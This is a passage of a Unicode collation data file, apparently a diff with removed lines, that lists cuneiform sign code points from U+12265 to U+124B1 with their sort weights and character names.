-12265 ; [.4A85.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES MASH
-12266 ; [.4A86.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES SAL
-12267 ; [.4A87.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES SAL OVER NUN LAGAR TIMES SAL
-12268 ; [.4A88.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES USH
-12269 ; [.4A89.0020.0002] # CUNEIFORM SIGN NUN TENU
-1226A ; [.4A8A.0020.0002] # CUNEIFORM SIGN NUN OVER NUN
-1226B ; [.4A8B.0020.0002] # CUNEIFORM SIGN NUN CROSSING NUN
-1226C ; [.4A8C.0020.0002] # CUNEIFORM SIGN NUN CROSSING NUN LAGAR OVER LAGAR
-1226D ; [.4A8D.0020.0002] # CUNEIFORM SIGN NUNUZ
-1226E ; [.4A8E.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES ASHGAB
-1226F ; [.4A8F.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES BI
-12270 ; [.4A90.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES DUG
-12271 ; [.4A91.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES GUD
-12272 ; [.4A92.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES IGI GUNU
-12273 ; [.4A93.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES KAD3
-12274 ; [.4A94.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES LA
-12275 ; [.4A95.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES NE
-12276 ; [.4A96.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES SILA3
-12277 ; [.4A97.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES U2
-12278 ; [.4A98.0020.0002] # CUNEIFORM SIGN NUNUZ KISIM5 TIMES BI
-12279 ; [.4A99.0020.0002] # CUNEIFORM SIGN NUNUZ KISIM5 TIMES BI U
-1227A ; [.4A9A.0020.0002] # CUNEIFORM SIGN PA
-1227B ; [.4A9B.0020.0002] # CUNEIFORM SIGN PAD
-1227C ; [.4A9C.0020.0002] # CUNEIFORM SIGN PAN
-1227D ; [.4A9D.0020.0002] # CUNEIFORM SIGN PAP
-1227E ; [.4A9E.0020.0002] # CUNEIFORM SIGN PESH2
-1227F ; [.4A9F.0020.0002] # CUNEIFORM SIGN PI
-12280 ; [.4AA0.0020.0002] # CUNEIFORM SIGN PI TIMES A
-12281 ; [.4AA1.0020.0002] # CUNEIFORM SIGN PI TIMES AB
-12282 ; [.4AA2.0020.0002] # CUNEIFORM SIGN PI TIMES BI
-12283 ; [.4AA3.0020.0002] # CUNEIFORM SIGN PI TIMES BU
-12284 ; [.4AA4.0020.0002] # CUNEIFORM SIGN PI TIMES E
-12285 ; [.4AA5.0020.0002] # CUNEIFORM SIGN PI TIMES I
-12286 ; [.4AA6.0020.0002] # CUNEIFORM SIGN PI TIMES IB
-12287 ; [.4AA7.0020.0002] # CUNEIFORM SIGN PI TIMES U
-12288 ; [.4AA8.0020.0002] # CUNEIFORM SIGN PI TIMES U2
-12289 ; [.4AA9.0020.0002] # CUNEIFORM SIGN PI CROSSING PI
-1228A ; [.4AAA.0020.0002] # CUNEIFORM SIGN PIRIG
-1228B ; [.4AAB.0020.0002] # CUNEIFORM SIGN PIRIG TIMES KAL
-1228C ; [.4AAC.0020.0002] # CUNEIFORM SIGN PIRIG TIMES UD
-1228D ; [.4AAD.0020.0002] # CUNEIFORM SIGN PIRIG TIMES ZA
-1228E ; [.4AAE.0020.0002] # CUNEIFORM SIGN PIRIG OPPOSING PIRIG
-1228F ; [.4AAF.0020.0002] # CUNEIFORM SIGN RA
-12290 ; [.4AB0.0020.0002] # CUNEIFORM SIGN RAB
-12291 ; [.4AB1.0020.0002] # CUNEIFORM SIGN RI
-12292 ; [.4AB2.0020.0002] # CUNEIFORM SIGN RU
-12293 ; [.4AB3.0020.0002] # CUNEIFORM SIGN SA
-12294 ; [.4AB4.0020.0002] # CUNEIFORM SIGN SAG NUTILLU
-12295 ; [.4AB5.0020.0002] # CUNEIFORM SIGN SAG
-12296 ; [.4AB6.0020.0002] # CUNEIFORM SIGN SAG TIMES A
-12297 ; [.4AB7.0020.0002] # CUNEIFORM SIGN SAG TIMES DU
-12298 ; [.4AB8.0020.0002] # CUNEIFORM SIGN SAG TIMES DUB
-12299 ; [.4AB9.0020.0002] # CUNEIFORM SIGN SAG TIMES HA
-1229A ; [.4ABA.0020.0002] # CUNEIFORM SIGN SAG TIMES KAK
-1229B ; [.4ABB.0020.0002] # CUNEIFORM SIGN SAG TIMES KUR
-1229C ; [.4ABC.0020.0002] # CUNEIFORM SIGN SAG TIMES LUM
-1229D ; [.4ABD.0020.0002] # CUNEIFORM SIGN SAG TIMES MI
-1229E ; [.4ABE.0020.0002] # CUNEIFORM SIGN SAG TIMES NUN
-1229F ; [.4ABF.0020.0002] # CUNEIFORM SIGN SAG TIMES SAL
-122A0 ; [.4AC0.0020.0002] # CUNEIFORM SIGN SAG TIMES SHID
-122A1 ; [.4AC1.0020.0002] # CUNEIFORM SIGN SAG TIMES TAB
-122A2 ; [.4AC2.0020.0002] # CUNEIFORM SIGN SAG TIMES U2
-122A3 ; [.4AC3.0020.0002] # CUNEIFORM SIGN SAG TIMES UB
-122A4 ; [.4AC4.0020.0002] # CUNEIFORM SIGN SAG TIMES UM
-122A5 ; [.4AC5.0020.0002] # CUNEIFORM SIGN SAG TIMES UR
-122A6 ; [.4AC6.0020.0002] # CUNEIFORM SIGN SAG TIMES USH
-122A7 ; [.4AC7.0020.0002] # CUNEIFORM SIGN SAG OVER SAG
-122A8 ; [.4AC8.0020.0002] # CUNEIFORM SIGN SAG GUNU
-122A9 ; [.4AC9.0020.0002] # CUNEIFORM SIGN SAL
-122AA ; [.4ACA.0020.0002] # CUNEIFORM SIGN SAL LAGAB TIMES ASH2
-122AB ; [.4ACB.0020.0002] # CUNEIFORM SIGN SANGA2
-122AC ; [.4ACC.0020.0002] # CUNEIFORM SIGN SAR
-122AD ; [.4ACD.0020.0002] # CUNEIFORM SIGN SHA
-122AE ; [.4ACE.0020.0002] # CUNEIFORM SIGN SHA3
-122AF ; [.4ACF.0020.0002] # CUNEIFORM SIGN SHA3 TIMES A
-122B0 ; [.4AD0.0020.0002] # CUNEIFORM SIGN SHA3 TIMES BAD
-122B1 ; [.4AD1.0020.0002] # CUNEIFORM SIGN SHA3 TIMES GISH
-122B2 ; [.4AD2.0020.0002] # CUNEIFORM SIGN SHA3 TIMES NE
-122B3 ; [.4AD3.0020.0002] # CUNEIFORM SIGN SHA3 TIMES SHU2
-122B4 ; [.4AD4.0020.0002] # CUNEIFORM SIGN SHA3 TIMES TUR
-122B5 ; [.4AD5.0020.0002] # CUNEIFORM SIGN SHA3 TIMES U
-122B6 ; [.4AD6.0020.0002] # CUNEIFORM SIGN SHA3 TIMES U PLUS A
-122B7 ; [.4AD7.0020.0002] # CUNEIFORM SIGN SHA6
-122B8 ; [.4AD8.0020.0002] # CUNEIFORM SIGN SHAB6
-122B9 ; [.4AD9.0020.0002] # CUNEIFORM SIGN SHAR2
-122BA ; [.4ADA.0020.0002] # CUNEIFORM SIGN SHE
-122BB ; [.4ADB.0020.0002] # CUNEIFORM SIGN SHE HU
-122BC ; [.4ADC.0020.0002] # CUNEIFORM SIGN SHE OVER SHE GAD OVER GAD GAR OVER GAR
-122BD ; [.4ADD.0020.0002] # CUNEIFORM SIGN SHE OVER SHE TAB OVER TAB GAR OVER GAR
-122BE ; [.4ADE.0020.0002] # CUNEIFORM SIGN SHEG9
-122BF ; [.4ADF.0020.0002] # CUNEIFORM SIGN SHEN
-122C0 ; [.4AE0.0020.0002] # CUNEIFORM SIGN SHESH
-122C1 ; [.4AE1.0020.0002] # CUNEIFORM SIGN SHESH2
-122C2 ; [.4AE2.0020.0002] # CUNEIFORM SIGN SHESHLAM
-122C3 ; [.4AE3.0020.0002] # CUNEIFORM SIGN SHID
-122C4 ; [.4AE4.0020.0002] # CUNEIFORM SIGN SHID TIMES A
-122C5 ; [.4AE5.0020.0002] # CUNEIFORM SIGN SHID TIMES IM
-122C6 ; [.4AE6.0020.0002] # CUNEIFORM SIGN SHIM
-122C7 ; [.4AE7.0020.0002] # CUNEIFORM SIGN SHIM TIMES A
-122C8 ; [.4AE8.0020.0002] # CUNEIFORM SIGN SHIM TIMES BAL
-122C9 ; [.4AE9.0020.0002] # CUNEIFORM SIGN SHIM TIMES BULUG
-122CA ; [.4AEA.0020.0002] # CUNEIFORM SIGN SHIM TIMES DIN
-122CB ; [.4AEB.0020.0002] # CUNEIFORM SIGN SHIM TIMES GAR
-122CC ; [.4AEC.0020.0002] # CUNEIFORM SIGN SHIM TIMES IGI
-122CD ; [.4AED.0020.0002] # CUNEIFORM SIGN SHIM TIMES IGI GUNU
-122CE ; [.4AEE.0020.0002] # CUNEIFORM SIGN SHIM TIMES KUSHU2
-122CF ; [.4AEF.0020.0002] # CUNEIFORM SIGN SHIM TIMES LUL
-122D0 ; [.4AF0.0020.0002] # CUNEIFORM SIGN SHIM TIMES MUG
-122D1 ; [.4AF1.0020.0002] # CUNEIFORM SIGN SHIM TIMES SAL
-122D2 ; [.4AF2.0020.0002] # CUNEIFORM SIGN SHINIG
-122D3 ; [.4AF3.0020.0002] # CUNEIFORM SIGN SHIR
-122D6 ; [.4AF4.0020.0002] # CUNEIFORM SIGN SHITA
-122D7 ; [.4AF5.0020.0002] # CUNEIFORM SIGN SHU
-122D8 ; [.4AF6.0020.0002] # CUNEIFORM SIGN SHU OVER INVERTED SHU
-122D9 ; [.4AF7.0020.0002] # CUNEIFORM SIGN SHU2
-122DA ; [.4AF8.0020.0002] # CUNEIFORM SIGN SHUBUR
-122DB ; [.4AF9.0020.0002] # CUNEIFORM SIGN SI
-122DC ; [.4AFA.0020.0002] # CUNEIFORM SIGN SI GUNU
-122DD ; [.4AFB.0020.0002] # CUNEIFORM SIGN SIG
-122DE ; [.4AFC.0020.0002] # CUNEIFORM SIGN SIG4
-122DF ; [.4AFD.0020.0002] # CUNEIFORM SIGN SIG4 OVER SIG4 SHU2
-122E0 ; [.4AFE.0020.0002] # CUNEIFORM SIGN SIK2
-122E1 ; [.4AFF.0020.0002] # CUNEIFORM SIGN SILA3
-122E2 ; [.4B00.0020.0002] # CUNEIFORM SIGN SU
-122E3 ; [.4B01.0020.0002] # CUNEIFORM SIGN SU OVER SU
-122E4 ; [.4B02.0020.0002] # CUNEIFORM SIGN SUD
-122E5 ; [.4B03.0020.0002] # CUNEIFORM SIGN SUD2
-122E6 ; [.4B04.0020.0002] # CUNEIFORM SIGN SUHUR
-122E7 ; [.4B05.0020.0002] # CUNEIFORM SIGN SUM
-122E8 ; [.4B06.0020.0002] # CUNEIFORM SIGN SUMASH
-122E9 ; [.4B07.0020.0002] # CUNEIFORM SIGN SUR
-122EA ; [.4B08.0020.0002] # CUNEIFORM SIGN SUR9
-122EB ; [.4B09.0020.0002] # CUNEIFORM SIGN TA
-122EC ; [.4B0A.0020.0002] # CUNEIFORM SIGN TA ASTERISK
-122ED ; [.4B0B.0020.0002] # CUNEIFORM SIGN TA TIMES HI
-122EE ; [.4B0C.0020.0002] # CUNEIFORM SIGN TA TIMES MI
-122EF ; [.4B0D.0020.0002] # CUNEIFORM SIGN TA GUNU
-122F0 ; [.4B0E.0020.0002] # CUNEIFORM SIGN TAB
-122F1 ; [.4B0F.0020.0002] # CUNEIFORM SIGN TAB OVER TAB NI OVER NI DISH OVER DISH
-122F2 ; [.4B10.0020.0002] # CUNEIFORM SIGN TAB SQUARED
-122F3 ; [.4B11.0020.0002] # CUNEIFORM SIGN TAG
-122F4 ; [.4B12.0020.0002] # CUNEIFORM SIGN TAG TIMES BI
-122F5 ; [.4B13.0020.0002] # CUNEIFORM SIGN TAG TIMES GUD
-122F6 ; [.4B14.0020.0002] # CUNEIFORM SIGN TAG TIMES SHE
-122F7 ; [.4B15.0020.0002] # CUNEIFORM SIGN TAG TIMES SHU
-122F8 ; [.4B16.0020.0002] # CUNEIFORM SIGN TAG TIMES TUG2
-122F9 ; [.4B17.0020.0002] # CUNEIFORM SIGN TAG TIMES UD
-122FA ; [.4B18.0020.0002] # CUNEIFORM SIGN TAK4
-122FB ; [.4B19.0020.0002] # CUNEIFORM SIGN TAR
-122FC ; [.4B1A.0020.0002] # CUNEIFORM SIGN TE
-122FD ; [.4B1B.0020.0002] # CUNEIFORM SIGN TE GUNU
-122FE ; [.4B1C.0020.0002] # CUNEIFORM SIGN TI
-122FF ; [.4B1D.0020.0002] # CUNEIFORM SIGN TI TENU
-12300 ; [.4B1E.0020.0002] # CUNEIFORM SIGN TIL
-12301 ; [.4B1F.0020.0002] # CUNEIFORM SIGN TIR
-12302 ; [.4B20.0020.0002] # CUNEIFORM SIGN TIR TIMES TAK4
-12303 ; [.4B21.0020.0002] # CUNEIFORM SIGN TIR OVER TIR
-12304 ; [.4B22.0020.0002] # CUNEIFORM SIGN TIR OVER TIR GAD OVER GAD GAR OVER GAR
-12305 ; [.4B23.0020.0002] # CUNEIFORM SIGN TU
-12306 ; [.4B24.0020.0002] # CUNEIFORM SIGN TUG2
-12307 ; [.4B25.0020.0002] # CUNEIFORM SIGN TUK
-12308 ; [.4B26.0020.0002] # CUNEIFORM SIGN TUM
-12309 ; [.4B27.0020.0002] # CUNEIFORM SIGN TUR
-1230A ; [.4B28.0020.0002] # CUNEIFORM SIGN TUR OVER TUR ZA OVER ZA
-1230B ; [.4B29.0020.0002] # CUNEIFORM SIGN U
-1230C ; [.4B2A.0020.0002] # CUNEIFORM SIGN U GUD
-1230D ; [.4B2B.0020.0002] # CUNEIFORM SIGN U U U
-1230E ; [.4B2C.0020.0002] # CUNEIFORM SIGN U OVER U PA OVER PA GAR OVER GAR
-1230F ; [.4B2D.0020.0002] # CUNEIFORM SIGN U OVER U SUR OVER SUR
-12310 ; [.4B2E.0020.0002] # CUNEIFORM SIGN U OVER U U REVERSED OVER U REVERSED
-12311 ; [.4B2F.0020.0002] # CUNEIFORM SIGN U2
-12312 ; [.4B30.0020.0002] # CUNEIFORM SIGN UB
-12313 ; [.4B31.0020.0002] # CUNEIFORM SIGN UD
-12314 ; [.4B32.0020.0002] # CUNEIFORM SIGN UD KUSHU2
-12315 ; [.4B33.0020.0002] # CUNEIFORM SIGN UD TIMES BAD
-12316 ; [.4B34.0020.0002] # CUNEIFORM SIGN UD TIMES MI
-12317 ; [.4B35.0020.0002] # CUNEIFORM SIGN UD TIMES U PLUS U PLUS U
-12318 ; [.4B36.0020.0002] # CUNEIFORM SIGN UD TIMES U PLUS U PLUS U GUNU
-12319 ; [.4B37.0020.0002] # CUNEIFORM SIGN UD GUNU
-1231A ; [.4B38.0020.0002] # CUNEIFORM SIGN UD SHESHIG
-1231B ; [.4B39.0020.0002] # CUNEIFORM SIGN UD SHESHIG TIMES BAD
-1231C ; [.4B3A.0020.0002] # CUNEIFORM SIGN UDUG
-1231D ; [.4B3B.0020.0002] # CUNEIFORM SIGN UM
-1231E ; [.4B3C.0020.0002] # CUNEIFORM SIGN UM TIMES LAGAB
-1231F ; [.4B3D.0020.0002] # CUNEIFORM SIGN UM TIMES ME PLUS DA
-12320 ; [.4B3E.0020.0002] # CUNEIFORM SIGN UM TIMES SHA3
-12321 ; [.4B3F.0020.0002] # CUNEIFORM SIGN UM TIMES U
-12322 ; [.4B40.0020.0002] # CUNEIFORM SIGN UMBIN
-12323 ; [.4B41.0020.0002] # CUNEIFORM SIGN UMUM
-12324 ; [.4B42.0020.0002] # CUNEIFORM SIGN UMUM TIMES KASKAL
-12325 ; [.4B43.0020.0002] # CUNEIFORM SIGN UMUM TIMES PA
-12326 ; [.4B44.0020.0002] # CUNEIFORM SIGN UN
-12327 ; [.4B45.0020.0002] # CUNEIFORM SIGN UN GUNU
-12328 ; [.4B46.0020.0002] # CUNEIFORM SIGN UR
-12329 ; [.4B47.0020.0002] # CUNEIFORM SIGN UR CROSSING UR
-1232A ; [.4B48.0020.0002] # CUNEIFORM SIGN UR SHESHIG
-1232B ; [.4B49.0020.0002] # CUNEIFORM SIGN UR2
-1232C ; [.4B4A.0020.0002] # CUNEIFORM SIGN UR2 TIMES A PLUS HA
-1232D ; [.4B4B.0020.0002] # CUNEIFORM SIGN UR2 TIMES A PLUS NA
-1232E ; [.4B4C.0020.0002] # CUNEIFORM SIGN UR2 TIMES AL
-1232F ; [.4B4D.0020.0002] # CUNEIFORM SIGN UR2 TIMES HA
-12330 ; [.4B4E.0020.0002] # CUNEIFORM SIGN UR2 TIMES NUN
-12331 ; [.4B4F.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2
-12332 ; [.4B50.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2 PLUS ASH
-12333 ; [.4B51.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2 PLUS BI
-12334 ; [.4B52.0020.0002] # CUNEIFORM SIGN UR4
-12335 ; [.4B53.0020.0002] # CUNEIFORM SIGN URI
-12336 ; [.4B54.0020.0002] # CUNEIFORM SIGN URI3
-12337 ; [.4B55.0020.0002] # CUNEIFORM SIGN URU
-12338 ; [.4B56.0020.0002] # CUNEIFORM SIGN URU TIMES A
-12339 ; [.4B57.0020.0002] # CUNEIFORM SIGN URU TIMES ASHGAB
-1233A ; [.4B58.0020.0002] # CUNEIFORM SIGN URU TIMES BAR
-1233B ; [.4B59.0020.0002] # CUNEIFORM SIGN URU TIMES DUN
-1233C ; [.4B5A.0020.0002] # CUNEIFORM SIGN URU TIMES GA
-1233D ; [.4B5B.0020.0002] # CUNEIFORM SIGN URU TIMES GAL
-1233E ; [.4B5C.0020.0002] # CUNEIFORM SIGN URU TIMES GAN2 TENU
-1233F ; [.4B5D.0020.0002] # CUNEIFORM SIGN URU TIMES GAR
-12340 ; [.4B5E.0020.0002] # CUNEIFORM SIGN URU TIMES GU
-12341 ; [.4B5F.0020.0002] # CUNEIFORM SIGN URU TIMES HA
-12342 ; [.4B60.0020.0002] # CUNEIFORM SIGN URU TIMES IGI
-12343 ; [.4B61.0020.0002] # CUNEIFORM SIGN URU TIMES IM
-12344 ; [.4B62.0020.0002] # CUNEIFORM SIGN URU TIMES ISH
-12345 ; [.4B63.0020.0002] # CUNEIFORM SIGN URU TIMES KI
-12346 ; [.4B64.0020.0002] # CUNEIFORM SIGN URU TIMES LUM
-12347 ; [.4B65.0020.0002] # CUNEIFORM SIGN URU TIMES MIN
-12348 ; [.4B66.0020.0002] # CUNEIFORM SIGN URU TIMES PA
-12349 ; [.4B67.0020.0002] # CUNEIFORM SIGN URU TIMES SHE
-1234A ; [.4B68.0020.0002] # CUNEIFORM SIGN URU TIMES SIG4
-1234B ; [.4B69.0020.0002] # CUNEIFORM SIGN URU TIMES TU
-1234C ; [.4B6A.0020.0002] # CUNEIFORM SIGN URU TIMES U PLUS GUD
-1234D ; [.4B6B.0020.0002] # CUNEIFORM SIGN URU TIMES UD
-1234E ; [.4B6C.0020.0002] # CUNEIFORM SIGN URU TIMES URUDA
-1234F ; [.4B6D.0020.0002] # CUNEIFORM SIGN URUDA
-12350 ; [.4B6E.0020.0002] # CUNEIFORM SIGN URUDA TIMES U
-12351 ; [.4B6F.0020.0002] # CUNEIFORM SIGN USH
-12352 ; [.4B70.0020.0002] # CUNEIFORM SIGN USH TIMES A
-12353 ; [.4B71.0020.0002] # CUNEIFORM SIGN USH TIMES KU
-12354 ; [.4B72.0020.0002] # CUNEIFORM SIGN USH TIMES KUR
-12355 ; [.4B73.0020.0002] # CUNEIFORM SIGN USH TIMES TAK4
-12356 ; [.4B74.0020.0002] # CUNEIFORM SIGN USHX
-12357 ; [.4B75.0020.0002] # CUNEIFORM SIGN USH2
-12358 ; [.4B76.0020.0002] # CUNEIFORM SIGN USHUMX
-12359 ; [.4B77.0020.0002] # CUNEIFORM SIGN UTUKI
-1235A ; [.4B78.0020.0002] # CUNEIFORM SIGN UZ3
-1235B ; [.4B79.0020.0002] # CUNEIFORM SIGN UZ3 TIMES KASKAL
-1235C ; [.4B7A.0020.0002] # CUNEIFORM SIGN UZU
-1235D ; [.4B7B.0020.0002] # CUNEIFORM SIGN ZA
-1235E ; [.4B7C.0020.0002] # CUNEIFORM SIGN ZA TENU
-1235F ; [.4B7D.0020.0002] # CUNEIFORM SIGN ZA SQUARED TIMES KUR
-12360 ; [.4B7E.0020.0002] # CUNEIFORM SIGN ZAG
-12361 ; [.4B7F.0020.0002] # CUNEIFORM SIGN ZAMX
-12362 ; [.4B80.0020.0002] # CUNEIFORM SIGN ZE2
-12363 ; [.4B81.0020.0002] # CUNEIFORM SIGN ZI
-12364 ; [.4B82.0020.0002] # CUNEIFORM SIGN ZI OVER ZI
-12365 ; [.4B83.0020.0002] # CUNEIFORM SIGN ZI3
-12366 ; [.4B84.0020.0002] # CUNEIFORM SIGN ZIB
-12367 ; [.4B85.0020.0002] # CUNEIFORM SIGN ZIB KABA TENU
-12368 ; [.4B86.0020.0002] # CUNEIFORM SIGN ZIG
-12369 ; [.4B87.0020.0002] # CUNEIFORM SIGN ZIZ2
-1236A ; [.4B88.0020.0002] # CUNEIFORM SIGN ZU
-1236B ; [.4B89.0020.0002] # CUNEIFORM SIGN ZU5
-1236C ; [.4B8A.0020.0002] # CUNEIFORM SIGN ZU5 TIMES A
-1236D ; [.4B8B.0020.0002] # CUNEIFORM SIGN ZUBUR
-1236E ; [.4B8C.0020.0002] # CUNEIFORM SIGN ZUM
-1236F ; [.4B8D.0020.0002] # CUNEIFORM SIGN KAP ELAMITE
-12370 ; [.4B8E.0020.0002] # CUNEIFORM SIGN AB TIMES NUN
-12371 ; [.4B8F.0020.0002] # CUNEIFORM SIGN AB2 TIMES A
-12372 ; [.4B90.0020.0002] # CUNEIFORM SIGN AMAR TIMES KUG
-12373 ; [.4B91.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES U2 PLUS MASH
-12374 ; [.4B92.0020.0002] # CUNEIFORM SIGN DAG3
-12375 ; [.4B93.0020.0002] # CUNEIFORM SIGN DISH PLUS SHU
-12376 ; [.4B94.0020.0002] # CUNEIFORM SIGN DUB TIMES SHE
-12377 ; [.4B95.0020.0002] # CUNEIFORM SIGN EZEN TIMES GUD
-12378 ; [.4B96.0020.0002] # CUNEIFORM SIGN EZEN TIMES SHE
-12379 ; [.4B97.0020.0002] # CUNEIFORM SIGN GA2 TIMES AN PLUS KAK PLUS A
-1237A ; [.4B98.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH2
-1237B ; [.4B99.0020.0002] # CUNEIFORM SIGN GE22
-1237C ; [.4B9A.0020.0002] # CUNEIFORM SIGN GIG
-1237D ; [.4B9B.0020.0002] # CUNEIFORM SIGN HUSH
-1237E ; [.4B9C.0020.0002] # CUNEIFORM SIGN KA TIMES ANSHE
-1237F ; [.4B9D.0020.0002] # CUNEIFORM SIGN KA TIMES ASH3
-12380 ; [.4B9E.0020.0002] # CUNEIFORM SIGN KA TIMES GISH
-12381 ; [.4B9F.0020.0002] # CUNEIFORM SIGN KA TIMES GUD
-12382 ; [.4BA0.0020.0002] # CUNEIFORM SIGN KA TIMES HI TIMES ASH2
-12383 ; [.4BA1.0020.0002] # CUNEIFORM SIGN KA TIMES LUM
-12384 ; [.4BA2.0020.0002] # CUNEIFORM SIGN KA TIMES PA
-12385 ; [.4BA3.0020.0002] # CUNEIFORM SIGN KA TIMES SHUL
-12386 ; [.4BA4.0020.0002] # CUNEIFORM SIGN KA TIMES TU
-12387 ; [.4BA5.0020.0002] # CUNEIFORM SIGN KA TIMES UR2
-12388 ; [.4BA6.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GI
-12389 ; [.4BA7.0020.0002] # CUNEIFORM SIGN LU2 SHESHIG TIMES BAD
-1238A ; [.4BA8.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2 PLUS LAL
-1238B ; [.4BA9.0020.0002] # CUNEIFORM SIGN LU2 TIMES SHU
-1238C ; [.4BAA.0020.0002] # CUNEIFORM SIGN MESH
-1238D ; [.4BAB.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES ZA
-1238E ; [.4BAC.0020.0002] # CUNEIFORM SIGN NA4
-1238F ; [.4BAD.0020.0002] # CUNEIFORM SIGN NIN
-12390 ; [.4BAE.0020.0002] # CUNEIFORM SIGN NIN9
-12391 ; [.4BAF.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES BAL
-12392 ; [.4BB0.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GI
-12393 ; [.4BB1.0020.0002] # CUNEIFORM SIGN NU11 ROTATED NINETY DEGREES
-12394 ; [.4BB2.0020.0002] # CUNEIFORM SIGN PESH2 ASTERISK
-12395 ; [.4BB3.0020.0002] # CUNEIFORM SIGN PIR2
-12396 ; [.4BB4.0020.0002] # CUNEIFORM SIGN SAG TIMES IGI GUNU
-12397 ; [.4BB5.0020.0002] # CUNEIFORM SIGN TI2
-12398 ; [.4BB6.0020.0002] # CUNEIFORM SIGN UM TIMES ME
-12399 ; [.4BB7.0020.0002] # CUNEIFORM SIGN U U
-12480 ; [.4BB8.0020.0002] # CUNEIFORM SIGN AB TIMES NUN TENU
-12481 ; [.4BB9.0020.0002] # CUNEIFORM SIGN AB TIMES SHU2
-12482 ; [.4BBA.0020.0002] # CUNEIFORM SIGN AD TIMES ESH2
-12483 ; [.4BBB.0020.0002] # CUNEIFORM SIGN BAD TIMES DISH TENU
-12484 ; [.4BBC.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES AB2
-12485 ; [.4BBD.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES NI
-12486 ; [.4BBE.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES ZA
-12487 ; [.4BBF.0020.0002] # CUNEIFORM SIGN BU OVER BU TIMES NA2
-12488 ; [.4BC0.0020.0002] # CUNEIFORM SIGN DA TIMES TAK4
-12489 ; [.4BC1.0020.0002] # CUNEIFORM SIGN DAG TIMES KUR
-1248A ; [.4BC2.0020.0002] # CUNEIFORM SIGN DIM TIMES IGI
-1248B ; [.4BC3.0020.0002] # CUNEIFORM SIGN DIM TIMES U U U
-1248C ; [.4BC4.0020.0002] # CUNEIFORM SIGN DIM2 TIMES UD
-1248D ; [.4BC5.0020.0002] # CUNEIFORM SIGN DUG TIMES ANSHE
-1248E ; [.4BC6.0020.0002] # CUNEIFORM SIGN DUG TIMES ASH
-1248F ; [.4BC7.0020.0002] # CUNEIFORM SIGN DUG TIMES ASH AT LEFT
-12490 ; [.4BC8.0020.0002] # CUNEIFORM SIGN DUG TIMES DIN
-12491 ; [.4BC9.0020.0002] # CUNEIFORM SIGN DUG TIMES DUN
-12492 ; [.4BCA.0020.0002] # CUNEIFORM SIGN DUG TIMES ERIN2
-12493 ; [.4BCB.0020.0002] # CUNEIFORM SIGN DUG TIMES GA
-12494 ; [.4BCC.0020.0002] # CUNEIFORM SIGN DUG TIMES GI
-12495 ; [.4BCD.0020.0002] # CUNEIFORM SIGN DUG TIMES GIR2 GUNU
-12496 ; [.4BCE.0020.0002] # CUNEIFORM SIGN DUG TIMES GISH
-12497 ; [.4BCF.0020.0002] # CUNEIFORM SIGN DUG TIMES HA
-12498 ; [.4BD0.0020.0002] # CUNEIFORM SIGN DUG TIMES HI
-12499 ; [.4BD1.0020.0002] # CUNEIFORM SIGN DUG TIMES IGI GUNU
-1249A ; [.4BD2.0020.0002] # CUNEIFORM SIGN DUG TIMES KASKAL
-1249B ; [.4BD3.0020.0002] # CUNEIFORM SIGN DUG TIMES KUR
-1249C ; [.4BD4.0020.0002] # CUNEIFORM SIGN DUG TIMES KUSHU2
-1249D ; [.4BD5.0020.0002] # CUNEIFORM SIGN DUG TIMES KUSHU2 PLUS KASKAL
-1249E ; [.4BD6.0020.0002] # CUNEIFORM SIGN DUG TIMES LAK-020
-1249F ; [.4BD7.0020.0002] # CUNEIFORM SIGN DUG TIMES LAM
-124A0 ; [.4BD8.0020.0002] # CUNEIFORM SIGN DUG TIMES LAM TIMES KUR
-124A1 ; [.4BD9.0020.0002] # CUNEIFORM SIGN DUG TIMES LUH PLUS GISH
-124A2 ; [.4BDA.0020.0002] # CUNEIFORM SIGN DUG TIMES MASH
-124A3 ; [.4BDB.0020.0002] # CUNEIFORM SIGN DUG TIMES MES
-124A4 ; [.4BDC.0020.0002] # CUNEIFORM SIGN DUG TIMES MI
-124A5 ; [.4BDD.0020.0002] # CUNEIFORM SIGN DUG TIMES NI
-124A6 ; [.4BDE.0020.0002] # CUNEIFORM SIGN DUG TIMES PI
-124A7 ; [.4BDF.0020.0002] # CUNEIFORM SIGN DUG TIMES SHE
-124A8 ; [.4BE0.0020.0002] # CUNEIFORM SIGN DUG TIMES SI GUNU
-124A9 ; [.4BE1.0020.0002] # CUNEIFORM SIGN E2 TIMES KUR
-124AA ; [.4BE2.0020.0002] # CUNEIFORM SIGN E2 TIMES PAP
-124AB ; [.4BE3.0020.0002] # CUNEIFORM SIGN ERIN2 X
-124AC ; [.4BE4.0020.0002] # CUNEIFORM SIGN ESH2 CROSSING ESH2
-124AD ; [.4BE5.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES ASH
-124AE ; [.4BE6.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES HI
-124AF ; [.4BE7.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES IGI GUNU
-124B0 ; [.4BE8.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES LA
-124B1 ; [.4BE9.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES LAL
